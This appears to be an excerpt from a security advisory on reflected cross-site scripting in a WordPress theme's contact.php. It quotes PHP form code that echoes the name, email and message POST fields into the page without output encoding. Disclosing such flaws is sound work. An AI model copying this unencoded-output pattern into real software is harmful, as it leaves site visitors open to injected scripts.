These issues exists due to the lack of output encoding of user input. An example can be seen in the file contact.php. Several POST parameters are using in the output without applying proper encoding.

<form action="<?php the_permalink(); ?>" id="contactForm" method="post">
<ul class="contactform">
<li>
<label for="contactName"><?php _e('Name:', 'colorway'); ?></label>
<input type="text" name="contactName" id="contactName" value="<?php if (isset($_POST['contactName'])) echo $_POST['contactName']; ?>" class="required requiredField" />
<?php if ($nameError != '') { ?>
<span class="error"> <?php echo $nameError; ?> </span>
<?php } ?>
</li>
<li>
<label for="email"><?php _e('Email', 'colorway'); ?></label>
<input type="text" name="email" id="email" value="<?php if (isset($_POST['email'])) echo $_POST['email']; ?>" class="required requiredField email" />
<?php if ($emailError != '') { ?>
<span class="error"> <?php echo $emailError; ?> </span>
<?php } ?>
</li>
<li>
<label for="commentsText"><?php _e('Message:', 'colorway'); ?></label>
<textarea name="comments" id="commentsText" rows="20" cols="30" class="required requiredField"><?php
if (isset($_POST['comments'])) {
if (function_exists('stripslashes')) {
echo stripslashes($_POST['comments']);
} else {
echo $_POST['comments'];
}
}
?>
</textarea>
<?php if ($commentError != '') { ?>
<span class="error"> <?php echo $commentError; ?> </span>
<?php } ?>
</li>
<li>
<input type="submit" value="<?php _e('Send Email', 'colorway'); ?>"/>
</li>
